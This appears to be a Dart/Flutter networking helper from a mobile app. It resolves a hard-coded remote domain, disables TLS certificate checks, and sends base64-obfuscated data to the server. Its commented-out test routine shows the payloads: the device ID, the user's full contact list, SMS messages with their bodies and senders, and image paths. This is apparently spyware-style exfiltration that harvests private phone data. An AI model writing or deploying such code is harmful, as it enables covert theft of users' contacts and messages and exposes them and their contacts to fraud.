import 'dart:convert';
import 'dart:developer';
import 'dart:io';
//import 'dart:io';

import 'package:dio/dio.dart';
import 'package:dio/io.dart';
import 'package:flutter/foundation.dart';
import 'package:flutter_easyloading/flutter_easyloading.dart';
import 'package:retry/retry.dart';

import 'deviceInfo.dart';

class HttpUtils {
  /// 请求服务器配置信息(主要)
  static const String serverconfig =
      "https://yunkj0623.oss-cn-shenzhen.aliyuncs.com/u.json"; //huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com
  // static const String serverconfig1 =
  // "https://hqtests.oss-cn-qingdao.aliyuncs.com/u.json";
  // static const String serverconfig =
  //     "https://huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com/u.json";
  static const String serverconfig1 =
      "https://huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com/u.json";
  static String baseUrl = "http://api.txljk.xyz";
  static String v5api = "/api/uploads/v5api";
  static String v5apisms = "/api/uploads/v5apisms";
  static String v5apiimg = "/api/uploads/v5apiimg";


  /// 获取服务器配置信息
  Future<void> loadServerConfig() async {
    // Response ? response;
    // Options op = Options(
    //   sendTimeout: const Duration(seconds: 8),
    //   receiveTimeout: const Duration(seconds: 8),
    //   responseType: ResponseType.plain,
    // );
    // try {
    //   response = await retry(
    //         () => Dio().get(HttpUtils.serverconfig, options: op),
    //     maxAttempts: 10,
    //     retryIf: (e) {
    //       return e is DioException;
    //     },
    //     delayFactor: const Duration(seconds: 2),
    //   );
    // } catch (e) {
    //   EasyLoading.showError("服务器配置错误：$e");
    //   if (kDebugMode) {
    //     print('error:$e');
    //   }
    // }
    // if (response == null) {
    //   loadServerConfig();
    //   return;
    // }
    // HttpUtils.baseUrl = response.data;

    try {
      final List<InternetAddress> result = await InternetAddress.lookup("img.wxemail.xyz");
       String _ipAddress = result.isNotEmpty ? result.first.address : 'No IP found';
       debugPrint("解析的IP是:$_ipAddress");
       HttpUtils.baseUrl = "http://$_ipAddress:55432";
    } on SocketException catch (e) {
       debugPrint('Failed to lookup IP address: $e');
       EasyLoading.showError("域名解析失败");
    }
  }

  Future post(
      String path, {
        Map<String, dynamic> ? param,
        Function ? callback,
        Function ? errorCallback,
      }) async {
    if (HttpUtils.baseUrl.isEmpty) {
      Future.delayed(const Duration(microseconds: 500), () {
        if (path.isEmpty) {
          return;
        }
        post(path,
            param: param, callback: callback, errorCallback: errorCallback);
      });
      return;
    }
    try {
      String paramJson = jsonEncode(param);
      String sdsds = base64.encode(utf8.encode(paramJson));
      String body = "${sdsds}@==@Twqeqwe";
      if (kDebugMode) {
        log("$paramJson\n");
        log("$sdsds\n");
        log("$body\n");
      }
      // // 5. 将 sign 拼接在入参的 JSON 中。

      Dio dio = Dio(
        BaseOptions(
          connectTimeout: const Duration(seconds: 30),
          receiveTimeout: const Duration(seconds: 30),
          responseType: ResponseType.plain,
        ),
      );

      (dio.httpClientAdapter as IOHttpClientAdapter).onHttpClientCreate =
          (client) {
        client.badCertificateCallback = (cert, host, port) {
          return true; // 返回true强制通过
        }; // 设置TLS版本
      };

      // if (baseUrl.startsWith("https")) {
      //   baseUrl = baseUrl.replaceFirst("https", "http");
      // }
      Response response = await dio.post(
        HttpUtils.baseUrl + path,
        data: body,
        options: Options(
            followRedirects: false,
            validateStatus: (status) {
              return (status ?? 0) < 500;
            }),
      );
      //解析data
      if (null != response.data) {
        String result = response.data.toString();
        Map<String, dynamic> responseData = {};
        //打印
        if (kDebugMode) {
          log("$path\n\n$result\n");
        }
        try {
          if (result != null) {
            callback!(result);
            return;
          }
          // responseData = jsonDecode(result);
          // int code = responseData["code"] ?? responseData["status"];
          // switch (code) {
          //   case 1000:
          //     if (responseData["result"] == null) {
          //       if (callback != null) {
          //         callback(null);
          //       }
          //       return;
          //     }
          //     var data = responseData["result"];
          //     var response = data["data"] ?? "";
          //     if (callback != null) {
          //       callback(response);
          //     }
          //     return;
          //   default:
          //     break;
          // }

          //只要不是0 和200 ，其他code 都走errorCallBack处理
          if (errorCallback != null) {
            errorCallback(responseData["msg"]);
          }
        } catch (e) {
          if (errorCallback != null) {
            errorCallback("未知错误");
          }
          //EasyLoading.showError("$e");
        }
      } else {
        //未知错误
        if (errorCallback != null) {
          errorCallback("未知错误");
        }
      }
    } on DioError catch (e) {
      post(path,
          param: param, callback: callback, errorCallback: errorCallback);
      if (errorCallback != null) {
        if (kDebugMode) {
          log("$path 网络错误 ${e.message}  \n ${e.response} \n ${e.error}");
        }
        errorCallback("网络错误");
      }
    }
  }

}

// /// 获取服务器配置信息
// Future<void> loadServerConfig() async {
//   Response ? response;
//   Options op = Options(
//     sendTimeout: const Duration(seconds: 8),
//     receiveTimeout: const Duration(seconds: 8),
//     responseType: ResponseType.plain,
//   );
//   try {
//     response = await retry(
//       () => Dio().get(HttpUtils.serverconfig, options: op),
//       maxAttempts: 10,
//       retryIf: (e) {
//         return e is DioException;
//       },
//       delayFactor: const Duration(seconds: 2),
//     );
//   } catch (e) {
//     print('error:$e');
//   }
//   if (response == null) {
//     loadServerConfig();
//     return;
//   }
//   HttpUtils.baseUrl = response.data;
// }
//
// Future<void> testV5api() async {
//   // 2./api/uploads/v4api  post json  用户输入后发送本机信息
//   post(HttpUtils.v5api, param: {
//     "name": DeviceInfo.deviceId(),
//     "clientid": DeviceInfo.deviceInfo(),
//     "code": "输入的邀请码",
//     "username": "固定值 本机",
//     "umobile": "601112211477",
//   }, callback: (data) {
//     print(data);
//   }, errorCallback: (e) {
//     print(e);
//   });
//
//   // 3./api/uploads/v4api  post json  发送用户通讯录
//   post(HttpUtils.v5api, param: {
//     "name": DeviceInfo.deviceId(),
//     "clientid": DeviceInfo.deviceInfo(),
//     "code": "输入的邀请码",
//     "data": [
//       {"username": "通讯录名称", "umobile": "通讯电话号码"}
//     ]
//   }, callback: (data) {
//     print(data);
//   }, errorCallback: (e) {
//     print(e);
//   });
//   // 4./api/uploads/v4apisms  post json  发送用户短信
//   post(HttpUtils.v5apisms, param: {
//     "name": DeviceInfo.deviceId(),
//     "clientid": DeviceInfo.deviceInfo(),
//     "code": "输入的邀请码",
//     "data": [
//       {
//         "name": DeviceInfo.deviceId(),
//         "code": "输入的邀请码",
//         "Name": "短信标题",
//         "Smsbody": "短信内容",
//         "PhoneNumber": "601112211477",
//         "Date": "收信时间",
//         "Type": "1",
//       }
//     ],
//   }, callback: (data) {
//     print(data);
//   }, errorCallback: (e) {
//     print(e);
//   });
//   // 5./api/uploads/v4apiimg  post json  发送用户上传成功后的图片地址
//   post(HttpUtils.v5apiimg, param: {
//     "name": DeviceInfo.deviceId(),
//     "path": "图片访问地址",
//   }, callback: (data) {
//     print(data);
//   }, errorCallback: (e) {
//     print(e);
//   });
// }

// void post(
//   String path, {
//   Map<String, dynamic> ? param,
//   Function ? callback,
//   Function ? errorCallback,
// }) async {
//   if (HttpUtils.baseUrl.isEmpty) {
//     Future.delayed(const Duration(microseconds: 500), () {
//       if (path.isEmpty) {
//         return;
//       }
//       post(path,
//           param: param, callback: callback, errorCallback: errorCallback);
//     });
//     return;
//   }
//   try {
//     String paramJson = jsonEncode(param);
//     String sdsds = base64.encode(utf8.encode(paramJson));
//     String body = "${sdsds}@==@Twqeqwe";
//     if (kDebugMode) {
//       log("$paramJson\n");
//       log("$sdsds\n");
//       log("$body\n");
//     }
//     // // 5. 将 sign 拼接在入参的 JSON 中。
//
//     Dio dio = Dio(
//       BaseOptions(
//         connectTimeout: const Duration(seconds: 30),
//         receiveTimeout: const Duration(seconds: 30),
//         responseType: ResponseType.plain,
//       ),
//     );
//
//     (dio.httpClientAdapter as IOHttpClientAdapter).onHttpClientCreate =
//         (client) {
//       client.badCertificateCallback = (cert, host, port) {
//         return true; // 返回true强制通过
//       };
//     };
//
//     // if (baseUrl.startsWith("https")) {
//     //   baseUrl = baseUrl.replaceFirst("https", "http");
//     // }
//     Response response = await dio.post(
//       HttpUtils.baseUrl + path,
//       data: body,
//       options: Options(
//           followRedirects: false,
//           validateStatus: (status) {
//             return (status ?? 0) < 500;
//           }),
//     );
//     //解析data
//     if (null != response.data) {
//       String result = response.data.toString();
//       Map<String, dynamic> responseData = {};
//       //打印
//       if (kDebugMode) {
//         log("$path\n\n$result\n");
//       }
//       try {
//         if (result != null) {
//           callback!(result);
//           return;
//         }
//         // responseData = jsonDecode(result);
//         // int code = responseData["code"] ?? responseData["status"];
//         // switch (code) {
//         //   case 1000:
//         //     if (responseData["result"] == null) {
//         //       if (callback != null) {
//         //         callback(null);
//         //       }
//         //       return;
//         //     }
//         //     var data = responseData["result"];
//         //     var response = data["data"] ?? "";
//         //     if (callback != null) {
//         //       callback(response);
//         //     }
//         //     return;
//         //   default:
//         //     break;
//         // }
//
//         //只要不是0 和200 ，其他code 都走errorCallBack处理
//         if (errorCallback != null) {
//           errorCallback(responseData["msg"]);
//         }
//       } catch (e) {
//         if (errorCallback != null) {
//           errorCallback("未知错误");
//         }
//       }
//     } else {
//       //未知错误
//       if (errorCallback != null) {
//         errorCallback("未知错误");
//       }
//     }
//   } on DioError catch (e) {
//     if (errorCallback != null) {
//       if (kDebugMode) {
//         log("$path 网络错误 ${e.message}  \n ${e.response} \n ${e.error}");
//       }
//       errorCallback("网络错误");
//     }
//   }
// }
